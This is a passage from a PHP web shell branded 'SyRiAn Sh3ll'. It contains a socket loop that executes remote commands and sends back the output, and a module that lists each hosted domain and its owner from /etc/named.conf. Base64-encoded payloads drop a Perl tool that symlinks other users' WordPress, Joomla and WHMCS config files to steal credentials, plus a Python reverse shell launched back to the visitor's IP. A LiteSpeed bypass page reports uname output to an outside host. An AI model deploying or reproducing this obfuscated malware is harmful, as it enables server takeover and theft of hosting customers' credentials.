5750 $message.="----------------------- SyRiAn Sh3ll --------------------\n";
5751
5752 socket_write($sock,$message,strlen($message));
5753
5754 $cwd=str_replace('\\','/',dirname('__hex__'));
5755
5756 while($cmd=socket_read($sock,65535,$proto))
5757
5758 {
5759
5760 if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye Bye\n");exit;}
5761
5762 else{
5763
5764 $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
5765
5766 if (is_resource($process)) {
5767
5768 fwrite($pipes[0], $cmd);
5769
5770 fclose($pipes[0]);
5771
5772 $msg=stream_get_contents($pipes[1]);
5773
5774 socket_write($sock,$msg,strlen($msg));
5775
5776 fclose($pipes[1]);
5777
5778 $return_value = proc_close($process);}
5779
5780 }
5781
5782 }
5783
5784 }
5785
5786 }
5787
5788break;
5789
5790case "PHP_14":
5791
5792
5793
5794echo "<title># Domains & Users</title>
5795
5796<style>
5797
5798body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
5799
5800A:link {text-decoration: none;color: red;}
5801
5802A:active {text-decoration: none;color: red;}
5803
5804A:visited {text-decoration: none;color: red;}
5805
5806A:hover {text-decoration: underline; color: red;}
5807
5808#new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
5809
5810tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
5811
5812</style>
5813
5814<p align=center># Domains & Users</p>
5815
5816<p align=center>Karar alShaMi t00l with PHP .. Maked By Lagripe-Dz ..?!</p><center>";
5817
5818
5819
5820$d0mains = @file("/etc/named.conf");
5821
5822
5823
5824if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); }
5825
5826
5827
5828echo "<table align=center border=1>
5829
5830<tr bgcolor=green><td>d0mains</td><td>users</td></tr>";
5831
5832
5833
5834foreach($d0mains as $d0main){
5835
5836
5837
5838if(eregi("zone",$d0main)){
5839
5840
5841
5842preg_match_all('#zone "(.*)"#', $d0main, $domains);
5843
5844flush();
5845
5846
5847
5848if(strlen(trim($domains[1][0])) > 2){
5849
5850
5851
5852$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
5853
5854
5855
5856echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
5857
5858
5859
5860}}}
5861
5862
5863
5864echo "</table>
5865
5866<p align='center'>
5867
5868MaDe in AlGeriA 2o11 (r)
5869
5870</p>
5871
5872";
5873
5874break;
5875
5876case "PHP_15":
5877
5878 mkdir('ShowsourceRead', 0755);
5879
5880 chdir('ShowsourceRead');
5881
5882
5883
5884$filexc = 'ZWNobyAiPGh0bWw+CjwvdGQ+PC90cj48L3RhYmxlPjxmb3JtIG1ldGhvZD0nUE9TVCcgZW5jdHlw
5885
5886ZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YScgPgo8L3RkPjwvdHI+PC90YWJsZT48Zm9ybSBtZXRob2Q9
5887
5888J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnID4KPGJyPgo8Yj5zaG93X3NvdXJj
5889
5890ZSAgOiA8L2I+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Nob3cnIHZhbHVlPScnIHNpemU9JzU5
5891
5892JyBzdHlsZT0nY29sb3I6ICNmZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCByZWQ7IGJhY2tncm91
5893
5894bmQtY29sb3I6ICMwMDAwMDAnPjwvcD4KPGI+aGlnaGxpZ2h0X2ZpbGUgOiA8L2I+PGlucHV0IHR5
5895
5896cGU9J3RleHQnIG5hbWU9J2hpZ2gnIHZhbHVlPScnIHNpemU9JzU5JyBzdHlsZT0nY29sb3I6ICNm
5897
5898ZmZmZmY7IGJvcmRlcjogMXB4IGRvdHRlZCAjZmZmZmZmOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAw
5899
5900MDAwJz48L3A+CjxpbnB1dCB0eXBlPSdzdWJtaXQnJyAgdmFsdWU9J1JlYWQnICBzdHlsZT0nY29s
5901
5902b3I6IHJlZDsgYm9yZGVyOiAxcHggZG90dGVkIG9yYW5nZTsgYmFja2dyb3VuZC1jb2xvcjogZ3Jl
5903
5904ZW4nPjwvZm9ybTwvcD4KPC9mb3JtPC9wPiI7Cjw/cGhwCmlmKGVtcHR5KCRfUE9TVFsnc2hvdydd
5905
5906KSkKewp9CmVsc2UKewokcyA9ICRfUE9TVFsnc2hvdyddOwplY2hvICI8Yj48aDE+PGZvbnQgc2l6
5907
5908ZT0nNCcgY29sb3I9J3JlZCc+c2hvd19zb3VyY2U8L2ZvbnQ+PC9oMT4iOwokc2hvdyA9IHNob3df
5909
5910c291cmNlKCRzKTsKfQppZihlbXB0eSgkX1BPU1RbJ2hpZ2gnXSkpCnsKfQplbHNlCnsKJGggPSAk
5911
5912X1BPU1RbJ2hpZ2gnXTsKZWNobyAiPGI+PGgxPjxmb250IHNpemU9JzQnIGNvbG9yPSdncmVlbic+
5913
5914aGlnaGxpZ2h0X2ZpbGU8L2ZvbnQ+PC9oMT4iOwplY2hvICI8YnI+IjsKJGhpZ2ggPSBoaWdobGln
5915
5916aHRfZmlsZSgkaCk7Cn0KPz4=';
5917
5918
5919
5920$file = fopen("read.php" ,"w+");
5921
5922$write = fwrite ($file ,base64_decode($filexc));
5923
5924fclose($file);
5925
5926 echo "<iframe src=ShowsourceRead/read.php width=100% height=100% frameborder=0></iframe> ";
5927
5928break;
5929
5930case "PHP_16":
5931
5932 mkdir('configler', 0755);
5933
5934 chdir('configler');
5935
5936 $kokdosya = ".htaccess";
5937
5938 $dosya_adi = "$kokdosya";
5939
5940 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
5941
5942 $metin = "AddHandler cgi-script .izo";
5943
5944 fwrite ( $dosya , $metin ) ;
5945
5946 fclose ($dosya);
5947
5948$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBl
5949
5950OiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9E
5951
5952VEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRt
5953
5954bDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3
5955
5956LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1M
5957
5958YW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5
5959
5960cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5bfl0gQ3li
5961
5962M3ItRFogQ29uZmlnIC0gW35dIDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5l
5963
5964d1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQog
5965
5966Zm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRl
5967
5968cjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87
5969
5970DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7
5971
5972IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3Vy
5973
5974ZS5waHAnLCRrb2xhLictc2hvcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJs
5975
5976aWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpz
5977
5978eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xh
5979
5980LictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
5981
5982bWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGlu
5983
5984aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLicyLnR4dCcp
5985
5986Ow0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2Nv
5987
5988bmZpZy5waHAnLCRrb2xhLictZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
5989
5990cHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLic1LnR4dCcpOw0Kc3ltbGluaygnL2hv
5991
5992bWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLic0LnR4dCcp
5993
5994Ow0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRr
5995
5996b2xhLictd3AxMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9i
5997
5998bG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21l
5999
6000LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLic2LnR4dCcpOw0K
6001
6002c3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29s
6003
6004YS4nNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0
6005
6006LnBocCcsJGtvbGEuJzgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0
6007
6008bWwvbWtfY29uZi5waHAnLCRrb2xhLic5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4n
6009
6010L3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJzEyLnR4dCcpOw0Kc3ltbGlu
6011
6012aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcs
6013
6014JGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0
6015
6016bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9o
6017
6018b21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWlu
6019
6020Y2x1ZGVzLXZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3do
6021
6022bS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsNCnN5bWxpbmsoJy9ob21l
6023
6024LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdo
6025
6026bWMxNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9j
6027
6028b25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycu
6029
6030JHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1
6031
6032cHBvcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmln
6033
6034dXJhdGlvbi5waHAnLCRrb2xhLicxd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2Vy
6035
6036LicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpz
6037
6038eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9u
6039
6040LnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1
6041
6042YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7
6043
6044DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJh
6045
6046dGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIu
6047
6048Jy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcu
6049
6050dHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25m
6051
6052aWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycu
6053
6054JHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5n
6055
6056LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29u
6057
6058ZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgDQp9DQppZiAoJEVOVnsnUkVR
6059
6060VUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsn
6061
6062Q09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RS
6063
6064SU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAo
6065
6066QHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFt
6067
6068ZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFj
6069
6070aygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMv
6071
6072JShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JN
6073
6074eyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8
6075
6076Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPkN5YjNyLWR6IENv
6077
6078bmZpZyBGdWNrIFNjcmlwdDwvcD4NCjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBD
6079
6080b2RlZCBCeSBDeWIzci1EWiA8Zm9udCBjb2xvcj0iI0MwQzBDMCI+fDwvZm9udD4gDQreYSBATy4g
6081
6082ZskcZS8g3mE8c3BhbiBpZD0icmVzdWx0X2JveCIgY2xhc3M9InNob3J0X3RleHQiIGxhbmc9ImVu
6083
6084Ij48c3BhbiBzdHlsZSB0aXRsZT4NCjxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250Pjwvc3Bh
6085
6086bj48L3NwYW4+IDxhIGhyZWY9Imh0dHA6Ly93d3cud3d3LnNlYzRldmVyLmNvbSI+DQo8c3BhbiBz
6087
6088dHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+d3d3LnNl
6089
6090YzRldmVyLmNvbTwvZm9udD48L3NwYW4+PC9hPiANCjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9m
6091
6092b250PjwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5
6093
6094bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBw
6095
6096eDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6
6097
6098ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+PC90ZXh0YXJlYT48YnIgLz4NCiZuYnNwOzxwPg0KPGlu
6099
6100cHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZG
6101
6102RkY7IHdpZHRoOiAyMTJweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpU
6103
6104YWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkY7ICIgIC8+PGJyIC8+DQombmJzcDs8
6105
6106L3A+DQo8cD4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQg
6107
6108Q29uZmlnIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250
6109
6110LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMDBGRkZGOyB0ZXh0LXRyYW5z
6111
6112Zm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwv
6113
6114cD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5l
6115
6116czsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIu
6117
6118JEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxp
6119
6120bmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4i
6121
6122LnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIu
6123
6124dHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0i
6125
6126IzAwMDAwMCI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9
6127
6128IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3Nl
6129
6130KElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0u
6131
6132Jy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRp
6133
6134b246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250Pjwv
6135
6136YT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';
6137
6138
6139
6140$file = fopen("config.izo" ,"w+");
6141
6142$write = fwrite ($file ,base64_decode($configshell));
6143
6144fclose($file);
6145
6146 chmod("config.izo",0755);
6147
6148 echo "<iframe src=configler/config.izo width=100% height=100% frameborder=0></iframe> ";
6149
6150break;
6151
6152case "PHP_17":
6153
6154
6155
6156$bizci = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMg
6157
6158IyAjICMgIyAjICMgIyAjICMgIyAjICMKIyAgIGQwMHIucHkgMC4zYSAocmV2ZXJzZXxiaW5kKS1z
6159
6160aGVsbCBpbiBweXRob24gYnkgZlEJIwojCQkJCQkJCSMKIwlhbHBoYQkJCQkJCSMKIwkJCQkJCQkj
6161
6162CiMJCQkJCQkJIwojIHVzYWdlOiAJCQkJCQkjCiMgCSUgLi9kMDByIC1iIHBhc3N3b3JkIHBvcnQJ
6163
6164CQkjCiMJJSAuL2QwMHIgLXIgcGFzc3dvcmQgcG9ydCBob3N0CQkJIwojCSUgbmMgaG9zdCBwb3J0
6165
6166CQkJCQkjCiMJJSBuYyAtbCAtcCBwb3J0IChwbGVhc2UgdXNlIG5ldGNhdCkJCSMKIyAjICMgIyAj
6167
6168ICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIwkjCgoKaW1wb3J0
6169
6170IG9zLCBzeXMsIHNvY2tldCwgdGltZQoKCiMgPT09PT09PT09PT09PT09PT09PSB2YXIgPT09PT09
6171
6172PQpNQVhfTEVOPTEwMjQKU0hFTEw9Ii9iaW4venNoIC1jIgpUSU1FX09VVD0zMDAgI3MKUFc9IiIK
6173
6174UE9SVD0iIgpIT1NUPSIiCgoKIyA9PT09PT09PT09PT09PT09PT09IGZ1bmN0ID09PT09CiMgc2hl
6175
6176bGwgLSBleGVjIGNvbW1hbmQsIHJldHVybiBzdGRvdXQsIHN0ZGVycjsgaW1wcm92YWJsZQpkZWYg
6177
6178c2hlbGwoY21kKToKCXNoX291dD1vcy5wb3BlbihTSEVMTCsiICIrY21kKS5yZWFkbGluZXMoKQoJ
6179
6180bnNoX291dD0iIgoJZm9yIGkgaW4gcmFuZ2UobGVuKHNoX291dCkpOgkKCQluc2hfb3V0Kz1zaF9v
6181
6182dXRbaV0KCXJldHVybiBuc2hfb3V0CQoKIyBhY3Rpb24/CmRlZiBhY3Rpb24oY29ubik6Cgljb25u
6183
6184LnNlbmQoIlxuUGFzcz9cbiIpCgl0cnk6IHB3X2luPWNvbm4ucmVjdihsZW4oUFcpKQoJZXhjZXB0
6185
6186OiBwcmludCAidGltZW91dCIKCWVsc2U6CQoJCWlmIHB3X2luID09IFBXOgkKCQkJY29ubi5zZW5k
6187
6188KCJqMDAgYXJlIG9uIGFpciFcbiIpCQkJCQkJCgkJCXdoaWxlIFRydWU6ICAgICAgICAgICAgICAg
6189
6190CQkKCQkJCWNvbm4uc2VuZCgiPj4+ICIpCgkJCQl0cnk6CgkJCQkJcGNtZD1jb25uLnJlY3YoTUFY
6191
6192X0xFTikKCQkJCWV4Y2VwdDoKCQkJCQlwcmludCAidGltZW91dCIKCQkJCQlyZXR1cm4gVHJ1ZQkJ
6193
6194CQkJCgkJCQllbHNlOgoJCQkJCSNwcmludCAicGNtZDoiLHBjbWQKCQkJCQljbWQ9IiIjcGNtZAoJ
6195
6196CQkJCWZvciBpIGluIHJhbmdlKGxlbihwY21kKS0xKToKCQkJCQkJY21kKz1wY21kW2ldCgkJCSAg
6197
6198ICAgICAgICAgICAgICBpZiBjbWQ9PSI6ZGMiOgoJCQkJCQlyZXR1cm4gVHJ1ZQoJCQkJCWVsaWYg
6199
6200Y21kPT0iOnNkIjoKCQkJCQkJcmV0dXJuIEZhbHNlCgkJCQkJZWxzZToKCQkJCQkJaWYgbGVuKGNt
6201
6202ZCk+MDoKCQkJCQkJCW91dD1zaGVsbChjbWQpCgkJCQkJCQljb25uLnNlbmQob3V0KQoKCiMgPT09
6203
6204PT09PT09PT09PT09PT09PSBtYWluID09PT09PQphcmd2PXN5cy5hcmd2CgppZiBsZW4oYXJndik8
6205
6206NDogCglwcmludCAiZXJyb3I7IGhlbHA6IGhlYWQgLW4gMTYgZDAwci5weSIKCXN5cy5leGl0KDEp
6207
6208CmVsaWYgYXJndlsxXT09Ii1iIjogCglQVz1hcmd2WzJdCglQT1JUPWFyZ3ZbM10KZWxpZiBhcmd2
6209
6210WzFdPT0iLXIiIGFuZCBsZW4oYXJndik+NDoKCVBXPWFyZ3ZbMl0KCVBPUlQ9YXJndlszXQoJSE9T
6211
6212VD1hcmd2WzRdCmVsc2U6IGV4aXQoMSkKClBPUlQ9aW50KFBPUlQpCnByaW50ICJQVzoiLFBXLCJQ
6213
6214T1JUOiIsUE9SVCwiSE9TVDoiLEhPU1QKCQojc3lzLmFyZ3ZbMF09ImQwMHIiCgojIGV4aXQgZmF0
6215
6216aGVyIHByb2MKaWYgb3MuZm9yaygpIT0wOiAKCXN5cy5leGl0KDApCgojIGFzc29jaWF0ZSB0aGUg
6217
6218c29ja2V0CnNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RS
6219
6220RUFNKQpzb2NrLnNldHRpbWVvdXQoVElNRV9PVVQpCgppZiBhcmd2WzFdPT0iLWIiOgoJc29jay5i
6221
6222aW5kKCgnbG9jYWxob3N0JywgUE9SVCkpCglzb2NrLmxpc3RlbigwKQoKcnVuPVRydWUKd2hpbGUg
6223
6224cnVuOgoKCWlmIGFyZ3ZbMV09PSItciI6CgkJdHJ5OiBzb2NrLmNvbm5lY3QoIChIT1NULCBQT1JU
6225
6226KSApCgkJZXhjZXB0OiAKCQkJcHJpbnQgImhvc3QgdW5yZWFjaGFibGUiCgkJCXRpbWUuc2xlZXAo
6227
6228NSkKCQllbHNlOiBydW49YWN0aW9uKHNvY2spCgllbHNlOgkJCgkJdHJ5OgkoY29ubixhZGRyKT1z
6229
6230b2NrLmFjY2VwdCgpCgkJZXhjZXB0OiAKCQkJcHJpbnQgInRpbWVvdXQiCgkJCXRpbWUuc2xlZXAo
6231
6232MSkKCQllbHNlOiBydW49YWN0aW9uKGNvbm4pCQkJCgkKCSMgc2h1dGRvd24gdGhlIHNva2NldAoJ
6233
6234aWYgYXJndlsxXT09Ii1iIjogY29ubi5zaHV0ZG93bigyKQoJZWxzZToKCQl0cnk6IHNvY2suc2Vu
6235
6236ZCgiIikKCQlleGNlcHQ6IHRpbWUuc2xlZXAoMSkKCQllbHNlOiBzb2NrLnNodXRkb3duKDIp';
6237
6238
6239
6240$file = fopen("priv9" ,"w+");
6241
6242$write = fwrite ($file ,base64_decode($bizci));
6243
6244fclose($file);
6245
6246if ($write) {
6247
6248echo "The File Was Created Successfuly";
6249
6250}
6251
6252else {echo"\"error\"";}
6253
6254chmod("priv9" , 0777);
6255
6256$fips=$_SERVER["REMOTE_ADDR"];
6257
6258$bports="22";
6259
6260system("./priv9 -r izo $bports $fips");
6261
6262break;
6263
6264case "PHP_18":
6265
6266 mkdir('litespeed', 0755);
6267
6268 chdir('litespeed');
6269
6270$izo = 'PHRpdGxlPkxpdGVTcGVlZCBXZWIgQnlwYXNzIC0gaXpvY2luIHByaXY5PC90aXRsZT4KICAgICAg
6271
6272ICA8Zm9udCBmYWNlPSJXaW5nZGluZ3MiPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly9wcml2
6273
6274OC5pYmxvZ2dlci5vcmcvcy5waHA/Jys8P2VjaG8gInVuYW1lIC1hIDogIjsgZWNobyAocGhwX3Vu
6275
6276YW1lKCkpPz4iOyIgd2lkdGg9IjAiIGhlaWdodD0iMCI+PC9hPjwvZm9udD4KPC9mb250Pgo8Ym9k
6277
6278eSBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIHJpZ2h0bWFy
6279
6280Z2luPSIwIiBib3R0b21tYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwMCIgbWFyZ2luaGVpZ2h0PSIw
6281
6282Ij4KCgombmJzcDs8cCBhbGlnbj0iY2VudGVyIj4KPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9w
6283
6284Pgo8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCIgZmFjZT0iVGFob21h
6285
6286Ij5SZWQtU2VjdXJpdHkgR3JvdXA8L2ZvbnQ+PC9iPjwvcD4KPHAgYWxpZ249ImNlbnRlciI+Jm5i
6287
6288c3A7PC9wPgo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHNpemU9IjQiIGNv
6289
6290bG9yPSJncmVlbiI+PGI+TGl0ZVNwZWVkIAo8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+U2FmZSBNb2Rl
6291
6292IEJ5cGFzc2VyPC9mb250PiA8L2I+PC9mb250Pgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNw
6293
